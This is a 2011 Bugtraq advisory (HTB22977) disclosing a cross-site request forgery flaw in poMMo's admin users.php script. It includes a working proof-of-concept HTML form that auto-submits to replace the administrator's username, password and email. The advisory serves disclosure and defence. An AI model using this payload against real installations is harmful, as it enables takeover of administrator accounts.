bugtraq - HTB22977: XSRF (CSRF) in poMMo

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Date: Tue, 10 May 2011 09:11:50 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: HTB22977: XSRF (CSRF) in poMMo

Vulnerability ID: HTB22977
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_pommo.html
Product: poMMo
Vendor: Brice Burgess ( http://pommo.org/ ) 
Vulnerable Version: Aardvark PR16.1
Vendor Notification: 26 April 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in the "admin/setup/config/users.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/setup/config/users.php" method="post" name="main">
<input type="hidden" name="admin_username" value="admin2">
<input type="hidden" name="admin_password" value="newpass">
<input type="hidden" name="admin_password2" value="newpass">
<input type="hidden" name="admin_email" value="email@...mple.com">
</form>
<script>
document.main.submit();
</script>